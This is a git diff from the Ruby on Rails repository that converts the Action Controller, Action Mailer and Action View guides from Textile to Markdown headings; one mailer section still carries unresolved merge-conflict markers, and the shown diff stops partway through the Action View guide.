aboutsummaryrefslogtreecommitdiffstats
path: root/guides
diff options
context:
space:
mode:
Diffstat (limited to 'guides')
-rw-r--r--guides/source/action_controller_overview.md85
-rw-r--r--guides/source/action_mailer_basics.md68
-rw-r--r--guides/source/action_view_overview.md246
-rw-r--r--guides/source/active_model_basics.md22
-rw-r--r--guides/source/active_record_basics.md47
-rw-r--r--guides/source/active_record_querying.md198
-rw-r--r--guides/source/active_record_validations_callbacks.md160
-rw-r--r--guides/source/active_support_core_extensions.md406
-rw-r--r--guides/source/active_support_instrumentation.md90
-rw-r--r--guides/source/ajax_on_rails.md34
-rw-r--r--guides/source/api_documentation_guidelines.md33
-rw-r--r--guides/source/asset_pipeline.md76
-rw-r--r--guides/source/association_basics.md303
-rw-r--r--guides/source/caching_with_rails.md45
-rw-r--r--guides/source/command_line.md52
-rw-r--r--guides/source/configuring.md70
-rw-r--r--guides/source/contributing_to_ruby_on_rails.md80
-rw-r--r--guides/source/debugging_rails_applications.md69
-rw-r--r--guides/source/engines.md71
-rw-r--r--guides/source/form_helpers.md92
-rw-r--r--guides/source/generators.md64
-rw-r--r--guides/source/getting_started.md92
-rw-r--r--guides/source/i18n.md110
-rw-r--r--guides/source/initialization.md46
-rw-r--r--guides/source/layouts_and_rendering.md106
-rw-r--r--guides/source/migrations.md68
-rw-r--r--guides/source/nested_model_forms.md35
-rw-r--r--guides/source/performance_testing.md117
-rw-r--r--guides/source/plugins.md34
-rw-r--r--guides/source/rails_application_templates.md37
-rw-r--r--guides/source/rails_on_rack.md41
-rw-r--r--guides/source/routing.md110
-rw-r--r--guides/source/ruby_on_rails_guides_guidelines.md35
-rw-r--r--guides/source/security.md133
-rw-r--r--guides/source/testing.md98
-rw-r--r--guides/source/upgrading_ruby_on_rails.md55
36 files changed, 1874 insertions, 1554 deletions
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
index 866efb36b3..1acd340736 100644
--- a/guides/source/action_controller_overview.md
+++ b/guides/source/action_controller_overview.md
@@ -1,4 +1,5 @@
-h2. Action Controller Overview
+Action Controller Overview
+==========================
In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
@@ -10,9 +11,10 @@ In this guide you will learn how controllers work and how they fit into the requ
* Filter sensitive parameters so they do not appear in the application's log
* Deal with exceptions that may be raised during request processing
-endprologue.
+--------------------------------------------------------------------------------
-h3. What Does a Controller Do?
+What Does a Controller Do?
+--------------------------
Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
@@ -22,7 +24,8 @@ A controller can thus be thought of as a middle man between models and views. It
NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
-h3. Methods and Actions
+Methods and Actions
+-------------------
A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
@@ -47,7 +50,8 @@ The "Layouts & Rendering Guide":layouts_and_rendering.html explains this in more
Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
-h3. Parameters
+Parameters
+----------
You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
@@ -83,7 +87,7 @@ class ClientsController < ActionController::Base
end
```
-h4. Hash and Array Parameters
+### Hash and Array Parameters
The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
@@ -110,7 +114,7 @@ When this form is submitted, the value of +params[:client]+ will be <tt>{"name"
Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
-h4. JSON/XML parameters
+### JSON/XML parameters
If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into +params+ hash, which you'll be able to access like you would normally do with form data.
@@ -136,7 +140,7 @@ And assume that you're sending the data to +CompaniesController+, it would then
You can customize the name of the key or specific parameters you want to wrap by consulting the "API documentation":http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
-h4. Routing Parameters
+### Routing Parameters
The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
@@ -146,7 +150,7 @@ match '/clients/:status' => 'clients#index', :foo => "bar"
In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
-h4. +default_url_options+
+### +default_url_options+
You can set global default parameters for URL generation by defining a method called +default_url_options+ in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
@@ -163,7 +167,8 @@ These options will be used as a starting point when generating URLs, so it's pos
If you define +default_url_options+ in +ApplicationController+, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there.
-h3. Session
+Session
+-------
Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
@@ -221,7 +226,7 @@ YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...'
NOTE: Changing the secret when using the +CookieStore+ will invalidate all existing sessions.
-h4. Accessing the Session
+### Accessing the Session
In your controller you can access the session through the +session+ instance method.
@@ -276,7 +281,7 @@ end
To reset the entire session, use +reset_session+.
-h4. The Flash
+### The Flash
The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.
@@ -349,7 +354,7 @@ class MainController < ApplicationController
end
```
-h5. +flash.now+
+#### +flash.now+
By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
@@ -367,7 +372,8 @@ class ClientsController < ApplicationController
end
```
-h3. Cookies
+Cookies
+-------
Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
@@ -399,7 +405,8 @@ end
Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
-h3. Rendering xml and json data
+Rendering xml and json data
+---------------------------
ActionController makes it extremely easy to render +xml+ or +json+ data. If you generate a controller using scaffold then your controller would look something like this.
@@ -419,7 +426,8 @@ end
Notice that in the above case code is <tt>render :xml => @users</tt> and not <tt>render :xml => @users.to_xml</tt>. That is because if the input is not string then rails automatically invokes +to_xml+ .
-h3. Filters
+Filters
+-------
Filters are methods that are run before, after or "around" a controller action.
@@ -463,7 +471,7 @@ end
Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
-h4. After Filters and Around Filters
+### After Filters and Around Filters
In addition to before filters, you can also run filters after an action has been executed, or both before and after.
@@ -495,7 +503,7 @@ Note that an around filter also wraps rendering. In particular, if in the exampl
You can choose not to yield and build the response yourself, in which case the action will not be run.
-h4. Other Ways to Use Filters
+### Other Ways to Use Filters
While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
@@ -530,7 +538,8 @@ end
Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
-h3. Request Forgery Protection
+Request Forgery Protection
+--------------------------
Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
@@ -564,11 +573,12 @@ The +form_authenticity_token+ generates a valid authentication token. That's use
The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
-h3. The Request and Response Objects
+The Request and Response Objects
+--------------------------------
In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
-h4. The +request+ Object
+### The +request+ Object
The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionDispatch/Request.html. Among the properties that you can access on this object are:
@@ -585,11 +595,11 @@ The request object contains a lot of useful information about the request coming
|remote_ip|The IP address of the client.|
|url|The entire URL used for the request.|
-h5. +path_parameters+, +query_parameters+, and +request_parameters+
+#### +path_parameters+, +query_parameters+, and +request_parameters+
Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
-h4. The +response+ Object
+### The +response+ Object
The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
@@ -601,7 +611,7 @@ The response object is not usually used directly, but is built up during the exe
|charset|The character set being used for the response. Default is "utf-8".|
|headers|Headers used for the response.|
-h5. Setting Custom Headers
+#### Setting Custom Headers
If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
@@ -609,14 +619,15 @@ If you want to set custom headers for a response then +response.headers+ is the
response.headers["Content-Type"] = "application/pdf"
```
-h3. HTTP Authentications
+HTTP Authentications
+--------------------
Rails comes with two built-in HTTP authentication mechanisms:
* Basic Authentication
* Digest Authentication
-h4. HTTP Basic Authentication
+### HTTP Basic Authentication
HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +http_basic_authenticate_with+.
@@ -628,7 +639,7 @@ end
With this in place, you can create namespaced controllers that inherit from +AdminController+. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
-h4. HTTP Digest Authentication
+### HTTP Digest Authentication
HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
@@ -650,7 +661,8 @@ end
As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
-h3. Streaming and File Downloads
+Streaming and File Downloads
+----------------------------
Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
@@ -682,7 +694,7 @@ end
The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
-h4. Sending Files
+### Sending Files
If you want to send a file that already exists on disk, use the +send_file+ method.
@@ -706,7 +718,7 @@ WARNING: Be careful when using data coming from the client (params, cookies, etc
TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
-h4. RESTful Downloads
+### RESTful Downloads
While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
@@ -738,7 +750,8 @@ Now the user can request to get a PDF version of a client just by adding ".pdf"
GET /clients/1.pdf
```
-h3. Parameter Filtering
+Parameter Filtering
+-------------------
Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
@@ -746,17 +759,18 @@ Rails keeps a log file for each environment in the +log+ folder. These are extre
config.filter_parameters << :password
```
-h3. Rescue
+Rescue
+------
Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
-h4. The Default 500 and 404 Templates
+### The Default 500 and 404 Templates
By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
-h4. +rescue_from+
+### +rescue_from+
If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
@@ -810,7 +824,8 @@ end
NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
-h3. Force HTTPS protocol
+Force HTTPS protocol
+--------------------
Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that:
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
index fd113aaa70..7f1c9dd69d 100644
--- a/guides/source/action_mailer_basics.md
+++ b/guides/source/action_mailer_basics.md
@@ -1,22 +1,25 @@
-h2. Action Mailer Basics
+Action Mailer Basics
+====================
This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.
-endprologue.
+--------------------------------------------------------------------------------
WARNING. This guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails.
-h3. Introduction
+Introduction
+------------
Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+.
-h3. Sending Emails
+Sending Emails
+--------------
This section will provide a step-by-step guide to creating a mailer and its views.
-h4. Walkthrough to Generating a Mailer
+### Walkthrough to Generating a Mailer
-h5. Create the Mailer
+#### Create the Mailer
```shell
$ rails generate mailer UserMailer
@@ -29,7 +32,7 @@ create test/functional/user_mailer_test.rb
So we got the mailer, the views, and the tests.
-h5. Edit the Mailer
+#### Edit the Mailer
+app/mailers/user_mailer.rb+ contains an empty mailer:
@@ -60,7 +63,7 @@ Here is a quick explanation of the items presented in the preceding method. For
Just like controllers, any instance variables we define in the method become available for use in the views.
-h5. Create a Mailer View
+#### Create a Mailer View
Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
@@ -100,7 +103,7 @@ Thanks for joining and have a great day!
When you call the +mail+ method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a <tt>multipart/alternative</tt> email.
-h5. Wire It Up So That the System Sends the Email When a User Signs Up
+#### Wire It Up So That the System Sends the Email When a User Signs Up
There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.
@@ -146,7 +149,7 @@ NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +
WARNING: Sending out an email should only take a fraction of a second. If you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job.
-h4. Auto encoding header values
+### Auto encoding header values
Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.
@@ -154,7 +157,7 @@ If you are using UTF-8 as your character set, you do not have to do anything spe
For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library.
-h4. Complete List of Action Mailer Methods
+### Complete List of Action Mailer Methods
There are just three methods that you need to send pretty much any email message:
@@ -162,7 +165,7 @@ There are just three methods that you need to send pretty much any email message
* <tt>attachments</tt> - Allows you to add attachments to your email. For example, <tt>attachments['file-name.jpg'] = File.read('file-name.jpg')</tt>.
* <tt>mail</tt> - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.
-h5. Custom Headers
+#### Custom Headers
Defining custom headers are simple, you can do it one of three ways:
@@ -186,7 +189,7 @@ headers {"X-Spam" => value, "X-Special" => another_value}
TIP: All <tt>X-Value</tt> headers per the RFC2822 can appear more than once. If you want to delete an <tt>X-Value</tt> header, you need to assign it a value of <tt>nil</tt>.
-h5. Adding Attachments
+#### Adding Attachments
Adding attachments has been simplified in Action Mailer 3.0.
@@ -209,7 +212,7 @@ attachments['filename.jpg'] = {:mime_type => 'application/x-gzip',
NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.
-h5. Making Inline Attachments
+#### Making Inline Attachments
Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.
@@ -238,7 +241,7 @@ end
:class => 'photos' %>
```
-h5. Sending Email To Multiple Recipients
+#### Sending Email To Multiple Recipients
It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.
@@ -256,7 +259,7 @@ end
The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively.
-h5. Sending Email With Name
+#### Sending Email With Name
Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is
to format the email address in the format <tt>"Name &lt;email&gt;"</tt>.
@@ -269,7 +272,7 @@ def welcome_email(user)
end
```
-h4. Mailer Views
+### Mailer Views
Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.html.erb+ for the HTML version and +welcome_email.text.erb+ for the plain text version.
@@ -313,7 +316,7 @@ end
This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc.
-h4. Action Mailer Layouts
+### Action Mailer Layouts
Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as +user_mailer.html.erb+ and +user_mailer.text.erb+ to be automatically recognized by your mailer as a layout.
@@ -342,7 +345,7 @@ end
Will render the HTML part using the <tt>my_layout.html.erb</tt> file and the text part with the usual <tt>user_mailer.text.erb</tt> file if it exists.
-h4. Generating URLs in Action Mailer Views
+### Generating URLs in Action Mailer Views
URLs can be generated in mailer views using +url_for+ or named routes.
@@ -370,7 +373,7 @@ config.action_mailer.default_url_options = { :host => "example.com" }
If you use this setting, you should pass the <tt>:only_path => false</tt> option when using +url_for+. This will ensure that absolute URLs are generated because the +url_for+ view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't explicitly provided.
-h4. Sending Multipart Emails
+### Sending Multipart Emails
Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
@@ -392,7 +395,7 @@ end
Will put the HTML part first, and the plain text part second.
-h4. Sending Emails with Attachments
+### Sending Emails with Attachments
Attachments can be added by using the +attachments+ method:
@@ -410,6 +413,7 @@ end
The above will send a multipart email with an attachment, properly nested with the top level being <tt>multipart/mixed</tt> and the first part being a <tt>multipart/alternative</tt> containing the plain text and HTML email messages.
+<<<<<<< HEAD
h5. Sending Emails with Dynamic Delivery Options
If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using +delivery_method_options+ in the mailer action.
@@ -426,6 +430,10 @@ end
</ruby>
h3. Receiving Emails
+=======
+Receiving Emails
+----------------
+>>>>>>> Convert heading tags and heading section
Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:
@@ -456,11 +464,13 @@ class UserMailer < ActionMailer::Base
end
```
-h3. Using Action Mailer Helpers
+Using Action Mailer Helpers
+---------------------------
Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.
-h3. Action Mailer Configuration
+Action Mailer Configuration
+---------------------------
The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
@@ -474,7 +484,7 @@ The following configuration options are best made in one of the environment file
|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
|+default_options+|Allows you to set default values for the <tt>mail</tt> method options (<tt>:from</tt>, <tt>:reply_to</tt>, etc.).|
-h4. Example Action Mailer Configuration
+### Example Action Mailer Configuration
An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file:
@@ -490,7 +500,7 @@ config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_options = {from: "no-replay@example.org"}
```
-h4. Action Mailer Configuration for GMail
+### Action Mailer Configuration for GMail
As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file:
@@ -506,7 +516,8 @@ config.action_mailer.smtp_settings = {
:enable_starttls_auto => true }
```
-h3. Mailer Testing
+Mailer Testing
+--------------
By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
@@ -532,11 +543,12 @@ end
In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
-h3. Asynchronous
+Asynchronous
+------------
Rails provides a Synchronous Queue by default. If you want to use an Asynchronous one you will need to configure an async Queue provider like Resque. Queue providers are supposed to have a Railtie where they configure it's own async queue.
-h4. Custom Queues
+### Custom Queues
If you need a different queue than <tt>Rails.queue</tt> for your mailer you can use <tt>ActionMailer::Base.queue=</tt>:
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index b22ab8c91a..1b31c129a3 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -1,4 +1,5 @@
-h2. Action View Overview
+Action View Overview
+====================
In this guide you will learn:
@@ -8,9 +9,10 @@ In this guide you will learn:
* What helpers are provided by Action View, and how to make your own
* How to use localized views
-endprologue.
+--------------------------------------------------------------------------------
-h3. What is Action View?
+What is Action View?
+--------------------
Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
@@ -18,7 +20,8 @@ Action View templates are written using embedded Ruby in tags mingled with HTML.
NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend.
-h3. Using Action View with Rails
+Using Action View with Rails
+----------------------------
For each controller there is an associated directory in the <tt>app/views</tt> directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
@@ -43,7 +46,8 @@ There is a naming convention for views in Rails. Typically, the views share thei
For example, the index controller action of the <tt>posts_controller.rb</tt> will use the <tt>index.html.erb</tt> view file in the <tt>app/views/posts</tt> directory.
The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of this three components.
-h3. Using Action View outside of Rails
+Using Action View outside of Rails
+----------------------------------
Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
@@ -111,18 +115,19 @@ Once the application is running, you can see Sinatra and Action View working tog
TODO needs a screenshot? I have one - not sure where to put it.
-h3. Templates, Partials and Layouts
+Templates, Partials and Layouts
+-------------------------------
As mentioned before, the final HTML output is a composition of three Rails elements: +Templates+, +Partials+ and +Layouts+.
Find below a brief overview of each one of them.
-h4. Templates
+### Templates
Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then a fresh instance of <tt>Builder::XmlMarkup</tt> library is used.
Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have <tt>.html.erb</tt> as a file extension.
-h5. ERB
+#### ERB
Within an ERB template Ruby code can be included using both +<% %>+ and +<%= %>+ tags. The +<% %>+ are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the +<%= %>+ tags are used when you want output.
@@ -144,7 +149,7 @@ Hi, Mr. <% puts "Frodo" %>
To suppress leading and trailing whitespaces, you can use +<%-+ +-%>+ interchangeably with +<%+ and +%>+.
-h5. Builder
+#### Builder
Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
@@ -209,15 +214,15 @@ xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
end
```
-h5. Template Caching
+#### Template Caching
By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
-h4. Partials
+### Partials
Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-h5. Naming Partials
+#### Naming Partials
To render a partial as part of a view, you use the +render+ method within the view:
@@ -233,7 +238,7 @@ This will render a file named +_menu.html.erb+ at that point within the view is
That code will pull in the partial from +app/views/shared/_menu.html.erb+.
-h5. Using Partials to simplify Views
+#### Using Partials to simplify Views
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
@@ -252,7 +257,7 @@ One way to use partials is to treat them as the equivalent of subroutines: as a
Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
-h5. The :as and :object options
+#### The :as and :object options
By default <tt>ActionView::Partials::PartialRenderer</tt> has its object in a local variable with the same name as the template. So, given
@@ -288,7 +293,7 @@ you'd do:
The <tt>:object</tt> and <tt>:as</tt> options can be used together.
-h5. Rendering Collections
+#### Rendering Collections
The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial by the same name as the elements contained within.
So the three-lined example for rendering all the products can be rewritten with a single line:
@@ -307,7 +312,7 @@ You can use a shorthand syntax for rendering collections. Assuming @products is
Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
-h5. Spacer Templates
+#### Spacer Templates
You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
@@ -317,15 +322,17 @@ You can also specify a second partial to be rendered between instances of the ma
Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
-h4. Layouts
+### Layouts
TODO...
-h3. Using Templates, Partials and Layouts in "The Rails Way"
+Using Templates, Partials and Layouts in "The Rails Way"
+--------------------------------------------------------
TODO...
-h3. Partial Layouts
+Partial Layouts
+---------------
Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
@@ -389,19 +396,21 @@ You can also render a block of code within a partial layout instead of calling +
If we're using the same +box+ partial from above, his would produce the same output as the previous example.
-h3. View Paths
+View Paths
+----------
TODO...
-h3. Overview of all the helpers provided by Action View
+Overview of all the helpers provided by Action View
+---------------------------------------------------
The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point.
-h4. ActiveRecordHelper
+### ActiveRecordHelper
The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html.
-h5. error_message_on
+#### error_message_on
Returns a string containing the error message attached to the method on the object if one exists.
@@ -409,7 +418,7 @@ Returns a string containing the error message attached to the method on the obje
error_message_on "post", "title"
```
-h5. error_messages_for
+#### error_messages_for
Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given.
@@ -417,7 +426,7 @@ Returns a string with a DIV containing all of the error messages for the objects
error_messages_for "post"
```
-h5. form
+#### form
